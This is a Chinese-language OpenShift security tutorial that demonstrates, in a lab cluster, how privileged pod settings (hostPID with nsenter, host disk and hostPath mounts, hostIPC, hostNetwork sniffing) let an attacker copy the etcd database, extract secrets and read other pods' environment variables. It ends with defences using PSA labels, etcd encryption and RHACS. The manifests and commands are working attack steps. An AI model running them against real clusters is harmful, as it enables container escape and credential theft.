• OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险


    OpenShift / RHEL / DevSecOps 汇总目录
    说明:本文已经在 OpenShift 4.14 的环境中验证

    本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇,来介绍 在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异,以及如何使用 PSA 和 RHACS 预防特权容器风险。

    注意:请先完成“环境准备”和“获取 ETCD 中的数据”场景后再去完成其他场景。

    准备环境

    1. 执行命令可以看到该 OpenShift 集群的节点。
    $ oc get node -owide
    NAME                            STATUS   ROLES                  AGE   VERSION           INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                                                       KERNEL-VERSION                 CONTAINER-RUNTIME
    control-plane-cluster-fbt6n-1   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.10   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
    control-plane-cluster-fbt6n-2   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.11   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
    control-plane-cluster-fbt6n-3   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.12   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
    worker-cluster-fbt6n-1          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.20   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
    worker-cluster-fbt6n-2          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.21   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 创建新的 project,并确认标签默认包含有 “pod-security.kubernetes.io” 相关内容。 这是由于 OpenShift 默认对资源施加了 pod-security 策略。
    $ oc new-project pod-security
    $ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
    {
      "kubernetes.io/metadata.name": "pod-security",
      "pod-security.kubernetes.io/audit": "privileged",
      "pod-security.kubernetes.io/audit-version": "v1.24",
      "pod-security.kubernetes.io/warn": "privileged",
      "pod-security.kubernetes.io/warn-version": "v1.24"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    1. 尝试删除 Project 或 Namespace 的 pod-security.kubernetes.io 相关标签配置,确认系统提示无法修改。这是因为 OpenShift 对资源施加的 pod-security 策略是强制的,虽然不能通过上述标签关闭此功能,但可以通过显示声明的方式使用特权模式运行 Pod。
    2. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
    $ oc create secret generic my-secret \
        --from-literal=username=myadmin \
        --from-literal=password='mypass'
    
    • 1
    • 2
    • 3
    1. 为本文采用标准 OpenShift 集群,在后面配置中有些需要强行让 Pod 运行在指定节点上。设置后面使用的 Master 和 Worker 节点名称。
    $ MASTER_NODE=control-plane-cluster-1
    $ WORKER_NODE=worker-cluster-1
    
    • 1
    • 2

    利用特权配置对Kubernetes容器攻击

    privileged + hostpid

    获取 etcd 中的数据

    当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

    1. 执行以下命令创建包含 privileged + hostpid 配置的部署。从对应 Pod 可进入属于 Master 宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
    $ cat << EOF | oc apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: priv-hostpid-1
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: priv-hostpid-1
      template:
        metadata:
          labels:
            app: priv-hostpid-1
        spec:
          nodeName: ${MASTER_NODE}
          hostPID: true
          containers:
            - name: priv-hostpid
              image: ubuntu
              tty: true
              securityContext:
                privileged: true
              command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    1. 在 OpenShift 控制台中可以看到部署告警,其中包含 Privileged containers are not allowed 的提示。这是因为在 OpenShift 中运行特权容器需要通过有权限的 serviceaccount 才可以。
      在这里插入图片描述
    2. 为了能部署运行特权容器,可通过以下三步实现:先创建一个 serviceaccount,然后再赋予 serviceaccount 以 privileged 的 SCC 权限,最后再将 serviceaccount 设给 deployment。
    $ oc describe scc privileged
    Name:                                           privileged
    Priority:                                       <none>
    Access:
      Users:                                        system:admin,system:serviceaccount:openshift-infra:build-controller
      Groups:                                       system:cluster-admins,system:nodes,system:masters
    Settings:
      Allow Privileged:                             true
      Allow Privilege Escalation:                   true
      Default Add Capabilities:                     <none>
      Required Drop Capabilities:                   <none>
      Allowed Capabilities:                         *
      Allowed Seccomp Profiles:                     *
      Allowed Volume Types:                         *
      Allowed Flexvolumes:                          <all>
      Allowed Unsafe Sysctls:                       *
      Forbidden Sysctls:                            <none>
      Allow Host Network:                           true
      Allow Host Ports:                             true
      Allow Host PID:                               true
      Allow Host IPC:                               true
      Read Only Root Filesystem:                    false
      Run As User Strategy: RunAsAny
        UID:                                        <none>
        UID Range Min:                              <none>
        UID Range Max:                              <none>
      SELinux Context Strategy: RunAsAny
        User:                                       <none>
        Role:                                       <none>
        Type:                                       <none>
        Level:                                      <none>
      FSGroup Strategy: RunAsAny
        Ranges:                                     <none>
      Supplemental Groups Strategy: RunAsAny
        Ranges:                                     <none>
    
    $ oc create sa sa-privileged
    $ oc adm policy add-scc-to-user privileged -z sa-privileged
    $ oc set sa deploy priv-hostpid-1 sa-privileged
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    1. 确认 pod 已经能正常部署和运行了。
    $ oc get pod -l app=priv-hostpid-1 -owide
    NAME                              READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
    priv-hostpid-1-795ff5bcdb-bslxj   1/1     Running   0          10m   10.133.0.35   control-plane-cluster-fbt6n-3   <none>           <none>
    
    • 1
    • 2
    • 3
    1. 由于 Pod 中没有 strings 命令,可以先将 etcd 数据库从 master 节点中复制到本地。
    $ oc cp $(oc get pod -l app=priv-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
    tar: Removing leading `/' from member names
    tar: /var/lib/etcd/member/snap/db: file changed as we read it
    
    $ ll ~/db
    -rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    1. 使用本地的 strings 工具从 etcd 数据库中可以获取到 my-secret 中的敏感数据。
    $ yum install binutils
    $ strings ~/db | grep my-secret -A 10
    -/kubernetes.io/secrets/pod-security/my-secret
    Secret
            my-secret
    pod-security"
    *$a2e0359e-8a52-479c-a7b5-62e1d33520c32
    kubectl-create
    Update
    FieldsV1:A
    ?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
    password
    mypass
    username
    myadmin
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    获取 PID 的运行参数

    当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

    1. 执行命令运行具有 hostpid 特性的 Pod。
    $ cat << EOF | kubectl apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: priv-hostpid-2
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: priv-hostpid-2
      template:
        metadata:
          labels:
            app: priv-hostpid-2
            app.group: priv-hostpid-2
        spec:
          hostPID: true
          nodeName: ${WORKER_NODE}
          containers:
            - name: priv-hostpid
              image: ubuntu
              securityContext:
                privileged: true
              command: [ "/bin/sh", "-c", "--" ]
              args: [ "while true; do sleep 30; done;" ]
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    1. 执行以下命令,为部署设置有 privileged 权限的 serviceaccount。
    $ oc set sa deploy priv-hostpid-2 sa-privileged
    
    • 1
    1. 再运行另一个使用测试 Secret 的 Pod。
    $ cat << EOF | kubectl apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: mypasswd
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: mypasswd
      template:
        metadata:
          labels:
            app: mypasswd
            app.group: priv-hostpid-2
        spec:
          nodeName: ${WORKER_NODE}
          containers:
            - name: mysql
              image: busybox
              command: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']
              env:
                - name: MY_PASSWORD
                  valueFrom:
                    secretKeyRef:
                      name: my-secret
                      key: password
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    1. 确认 2 个 Pod 都运行在一个 Node 上。
    $ oc get pod -l app.group=priv-hostpid-2 -owide
    NAME                            READY   STATUS    RESTARTS   AGE    IP            NODE               NOMINATED NODE   READINESS GATES
    priv-hostpid-2-bbcc56f5-nzjnr   1/1     Running   0          51s    10.133.2.26   worker-cluster-1   <none>           <none>
    mypasswd-9f488448d-drtqt        1/1     Running   0          34s    10.133.2.27   worker-cluster-1   <none>           <none>
    
    • 1
    • 2
    • 3
    • 4
    1. 进入 priv-hostpid-pod-2-bbcc56f5-nzjnr 的 Pod,然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。
    $ oc exec -it $(oc get pod -l app=priv-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
    root@hostpid-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
    root@hostpid-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
    MY_PASSWORD=mypass
    
    • 1
    • 2
    • 3
    • 4

    privileged

    当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

    1. 执行命令创建具有 privileged 配置的部署,完成后可以看到如前一个场景的截图一样提示 Privileged containers are not allowed。
    $ cat << EOF | oc apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: priv
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: priv
      template:
        metadata:
          labels:
            app: priv
        spec:
          nodeName: ${MASTER_NODE}
          containers:
            - name: priv
              image: redhat/ubi8-init
              securityContext:
                privileged: true
              command: [ "/bin/sh", "-c", "--" ]
              args: [ "while true; do sleep 30; done;" ]
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    1. 将 sa-privileged 设置到 priv-pod 部署后可以确认 pod 正常运行。
    $ oc set sa deploy priv sa-privileged
    
    $ oc get pod -l app=priv -owide
    NAME                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
    priv-ddb749c9-zwtl8   1/1     Running   0          8s    10.133.0.40   control-plane-cluster-fbt6n-3   <none>           <none>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 执行命令查看分区,其中 /dev/vdb1 为代表宿主机存储的设备。
    $ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
    [root@priv-6d78db564c-x6ctf /]]# fdisk -l
    Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: gpt
    Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039
    
    Device       Start       End   Sectors  Size Type
    /dev/vda1     2048      4095      2048    1M BIOS boot
    /dev/vda2     4096    264191    260096  127M EFI System
    /dev/vda3   264192   1050623    786432  384M Linux filesystem
    /dev/vda4  1050624 209715166 208664543 99.5G Linux filesystem
    
    Disk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: gpt
    Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3
    
    Device     Start      End  Sectors Size Type
    /dev/vdb1   2048 62914526 62912479  30G Linux filesystem
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    1. 将 /dev/vdb1 挂在到容器的 /host 目录下,确认可以看到 Master 宿主机的目录。
    [root@priv-6d78db564c-x6ctf /]# mkdir /host
    [root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
    [root@priv-6d78db564c-x6ctf /]# ls /host/member/
    snap  wal
    
    • 1
    • 2
    • 3
    • 4
    1. 在一个新终端执行以下命令,将挂载到 priv-pod 存储的 etcd 数据库复制到本地。
    $ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
    tar: Removing leading `/' from member names
    
    • 1
    • 2
    1. 从 etcd 数据库中获取到 my-secret 中的数据。
    $ strings ~/db | grep my-secret -A 10
    -/kubernetes.io/secrets/pod-security/my-secret
    Secret
            my-secret
    pod-security"
    *$a2e0359e-8a52-479c-a7b5-62e1d33520c32
    kubectl-create
    Update
    FieldsV1:A
    ?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
    password
    mypass
    username
    myadmin
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    privileged+hostpath

    通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

    1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
    $ cat << EOF | oc apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: priv-hostpath
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: priv-hostpath
      template:
        metadata:
          labels:
            app: priv-hostpath
        spec:
          nodeName: ${MASTER_NODE}
          containers:
            - name: priv-hostpath
              image: ubuntu
              securityContext:
                privileged: true
              volumeMounts:
              - mountPath: /host
                name: noderoot
              command: [ "/bin/sh", "-c", "--" ]
              args: [ "while true; do sleep 30; done;" ]
          volumes:
            - name: noderoot
              hostPath:
                path: /
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    1. 此时 Deployment 依然会提示部署告警,需要执行以下命令为部署设置有 privileged 权限的 serviceaccount。
    $ oc set sa deploy priv-hostpath sa-privileged
    
    $ oc get pod -l app=priv-hostpath -owide
    NAME                             READY   STATUS    RESTARTS   AGE    IP            NODE                            NOMINATED NODE   READINESS GATES
    priv-hostpath-7bcd778596-r6prj   1/1     Running   0          102s   10.133.0.43   control-plane-cluster-fbt6n-3   <none>           <none>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 通过 priv-hostpath 部署将 Master 节点的 ETCD 数据库文件复制到本地。
    $ oc cp $(oc get pod -l app=priv-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
    tar: Removing leading `/' from member names
    tar: /host/var/lib/etcd/member/snap/db: file changed as we read it
    
    • 1
    • 2
    • 3
    1. 确认从宿主机上未加密 ETCD 数据库中获得到 Secret 敏感数据。
    $ strings ~/db | grep my-secret -A 10
    -/kubernetes.io/secrets/pod-security/my-secret
    Secret
            my-secret
    pod-security"
    *$8c572ad6-8f66-48f5-97cb-cd79035208822
    kubectl-create
    Update
    FieldsV1:A
    ?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
    password
    mypass
    username
    myadmin
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    hostipc

    当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

    1. 执行命令运行 2 个具有 hostipc 特性的 Deployment。
    $ cat << EOF | oc apply -f -
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: hostipc-1
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: hostipc-1
      template:
        metadata:
          labels:
            app: hostipc-1
            app.group: hostipc
        spec:
          hostIPC: true
          nodeName: ${WORKER_NODE}
          containers:
            - name: hostipc
              image: ubuntu
              command: [ "/bin/sh", "-c", "--" ]
              args: [ "while true; do sleep 30; done;" ]
    ---
    kind: Deployment
    apiVersion: apps/v1
    metadata:
      name: hostipc-2
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: hostipc-2
      template:
        metadata:
          labels:
            app: hostipc-2
            app.group: hostipc
        spec:
          hostIPC: true
          nodeName: ${WORKER_NODE}
          containers:
            - name: hostipc
              image: ubuntu
              command: [ "/bin/sh", "-c", "--" ]
              args: [ "while true; do sleep 30; done;" ]
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    1. 执行以下命令,为 2 个部署设置有 privileged 权限的 serviceaccount。
    $ oc set sa deploy hostipc-1 sa-privileged
    $ oc set sa deploy hostipc-2 sa-privileged
    
    • 1
    • 2
    1. 查看 2 个 Pod 都运行在相同的 Node 上。
    $ oc get pod -o wide -l app.group=hostipc
    NAME                         READY   STATUS    RESTARTS   AGE   IP            NODE               NOMINATED NODE   READINESS GATES
    hostipc-1-6b7474694f-k864f   1/1     Running   0          77s   10.135.0.12   worker-cluster-1   <none>           <none>
    hostipc-2-849c6f5ff7-pbd7s   1/1     Running   0          78s   10.135.0.11   worker-cluster-1   <none>           <none>
    
    • 1
    • 2
    • 3
    • 4
    1. 先进入 hostipc-1-6b7474694f-k864f 的 Pod,将测试数据写入 IPC 共享区。
    $ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) --  bash
    root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
    root@hostipc-1-6b7474694f-k864f:/# exit
    exit
    
    • 1
    • 2
    • 3
    • 4
    1. 再进入 hostipc-2-849c6f5ff7-pbd7 的 Pod,确认可以通过 IPC 共享区获取到 hostipc-1-6b7474694f-k864f 写入的测试数据。
    $ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt 
    secretpassword
    
    • 1
    • 2

    privileged+hostnetwork

    当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod 使用的是宿主机 IP,而非 CNI 分配的 IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

    1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制所有 Pod 都运行在 OpenShift 集群的一个 Worker 节点上。
    $ cat << EOF | oc apply -f -
    kind: Pod
    apiVersion: v1
    metadata:
      name: priv-hostnetwork
      labels:
        app.group: priv-hostnetwork
    spec:
      hostNetwork: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: priv-hostnetwork
          command:
            - /bin/sh
          securityContext:
            privileged: true
          tty: true
          image: quay.io/openshift/origin-tests:4.14
    ---
    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: hello-openshift
      labels:
        app: hello-openshift
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: hello-openshift
      template:
        metadata:
          labels:
            app: hello-openshift
            app.group: priv-hostnetwork
        spec:
          nodeName: ${WORKER_NODE}
          containers:
          - image: openshift/hello-openshift
            name: hello-openshift
            ports:
            - containerPort: 8080
              protocol: TCP
            - containerPort: 8888
              protocol: TCP
    ---
    apiVersion: v1
    kind: Service
    metadata:
      name: hello-openshift
    spec:
      type: NodePort
      ports:
        - nodePort: 32222
          port: 8080
      selector:
        app: hello-openshift
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    1. 查看 2 个 Pod 都运行在相同的 Worker 节点上,另外普通 Pod 的 IP 使用的是容器网段 10.133.2.14,而启用 hostnetwork 的 Pod 使用的就是 Worker 宿主机节点的 IP 地址 10.10.10.22。
    $ oc get pod -l app.group=priv-hostnetwork -owide
    NAME                               READY   STATUS    RESTARTS   AGE   IP            NODE               NOMINATED NODE   READINESS GATES
    hello-openshift-786967d498-vqzzs   1/1     Running   0          9s    10.133.2.31   worker-cluster-1   <none>           <none>
    priv-hostnetwork                   1/1     Running   0          9s    10.10.10.22   worker-cluster-1   <none>           <none>
    
    • 1
    • 2
    • 3
    • 4
    1. 查看普通 Pod 对应 Service 绑定的 nodeport 端口。
    $ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
    32222
    
    • 1
    • 2
    1. 进入 priv-hostnetwork 的 Pod,然后查看从容器可看到的 IP 配置。
    $ oc exec -it priv-hostnetwork -- bash
    [root@worker-cluster-1 /]# ip a
    
    • 1
    • 2
    1. 使用 tcpdump 开始嗅探到流经 32222 端口的 TCP 数据。
    [root@worker-cluster-1 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
    
    • 1
    • 2
    • 3
    1. 在第二个终端里进入 Worker 节点,然后获得节点 IP 配置,确认它和第 4 步的 IP 地址相同。
    $ oc debug node/${WORKER_NODE}
    Temporary namespace openshift-debug-nrkr2 is created for debugging node...
    Starting pod/worker-cluster-1-debug ...
    To use host binaries, run `chroot /host`
    Pod IP: 10.10.10.22
    If you don't see a command prompt, try pressing enter.
    sh-4.4# ip a
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 在第二个终端里使用 IP 和 Service 绑定的 nodeport 端口访问运行在普通 Pod 中运行的 hello-openshift,确认可以正常访问。
    sh-4.4# curl 10.10.10.22:32222
    Hello OpenShift!
    
    • 1
    • 2
    1. 回到第 5 步的窗口,确认在 priv-hostnetwork 中已经可以嗅探到 Response 的数据。在真是情况下这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
    13:31:23.358854 IP worker-cluster-1.32222 > worker-cluster-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134: HTTP: HTTP/1.1 200 OK
    E...h.@.=...
    
    .}....qT.........(......
    .x4Y*...HTTP/1.1 200 OK
    Date: Wed, 01 Nov 2023 13:31:23 GMT
    Content-Length: 17
    Content-Type: text/plain; charset=utf-8
    
    Hello OpenShift!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    修改 Namespace 的缺省 Pod Security Admission 配置

    OpenShift 会通过 PSA Label Synchronization Controller 为每个用户使用的 Namespace(即非 “openshift-” 开头的 Namespace)自动添加缺省的 PSA 策略。除非修改 PSA Label Synchronization Controller 的策略,否则用户只能在缺省 PSA 之外添加其他策略,而不能删除缺省 PSA 配置策略。

    集群管理员身份

    1.查看 pod-security 命名空间的 PSA 配置,确认其已有默认的 PSA 配置。

    $ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
    {
      "kubernetes.io/metadata.name": "pod-security",
      "pod-security.kubernetes.io/audit": "restricted",
      "pod-security.kubernetes.io/audit-version": "v1.24",
      "pod-security.kubernetes.io/warn": "restricted",
      "pod-security.kubernetes.io/warn-version": "v1.24"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    1. 进入 OpenShift 控制台的命名空间菜单,找到 pod-security 后尝试删除 PSA 相关标签,保存后会发现配置后被重新复原。这是由于 PSA Label Synchronization Controller 会自动保持缺省的 PSA。
      在这里插入图片描述
    2. 在上图的标签区域加入以下标签,然后保存,确认可以保存成功。
    pod-security.kubernetes.io/enforce: restricted
    
    • 1
    1. 在上图的标签区域加入以下标签,然后删除所有其他 PSA 配置标签,确认可以保存成功。这是因为改标签可关闭 PSA Label Synchronization Controller 强制的缺省 PSA 配置。
    security.openshift.io/scc.podSecurityLabelSync: 'false'
    
    • 1
    1. 在删除以上标签后,缺省的 PSA 配置标签又会被恢复。

    项目管理员身份

    1. 用一个一般用户登录 OpenShift,例如 user1 用户。
    2. 然后创建一个新项目,名称例如 user1。
    3. 修改 user1 项目的 YAML。在保存后确认有下图提示,这说明 project 对象的配置是 immutable 不可变。
      在这里插入图片描述
    4. 执行命令修改 user1 的 Namespace 配置,确定在保存后有以下 error 提示。这说明只有集群管理员才可以修改 Namespace 的配置,因此除了集群管理员,一般用户无法让自己管理的 Namespace 脱离 PSA 的保护。
    $ oc label --overwrite ns user1 security.openshift.io/scc.podSecurityLabelSync='false'
    Error from server (Forbidden): namespaces "user1" is forbidden: User "user1" cannot patch resource "namespaces" in API group "" in the namespace "user1"
    
    • 1
    • 2

    预防攻击,提升安全

    对 etcd 数据库进行加密

    请参照《OpenShift 4 - 对 OpenShift 的 ETCD 数据库加密》一文对 OpenShift etcd 数据库加密,以提高安全性。

    使用 RHACS 跟踪特权容器

    可参照《OpenShift Security (2) - 安装 Red Hat Advanced Cluster Security(RHACS)》一文安装 RHACS。

    1. 在 RHACS 控制台中进入 Configuration Management 菜单,在页面的 Policy violations by severity 区域中左侧的圆中依次选中 Privileges 和 View deployments violating “1. Privileged Container” 区域。
      在这里插入图片描述
    2. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有运行的特权容器。
      在这里插入图片描述
    3. 重新在 Configuration Management 页面中选择 Docker CIS 和 Docker CIS 5.16: Ensure that the host’s IPC namespace is not shared 区域。
      在这里插入图片描述
    4. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostipc 配置的容器。
      在这里插入图片描述
    5. 重新在 Configuration Management 页面中选择 Docker CIS 和 View deployments violating “Docker CIS 5.9 and 5.20: Ensure that the host’s network namespace is not shared” 区域。在这里插入图片描述
    6. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostnetwork 配置的容器。
      在这里插入图片描述
    7. 重新在 Configuration Management 页面中选择 Docker CIS 和 View deployments violating “Docker CIS 5.15: Ensure that the host’s process namespace is not shared” 区域。
      在这里插入图片描述
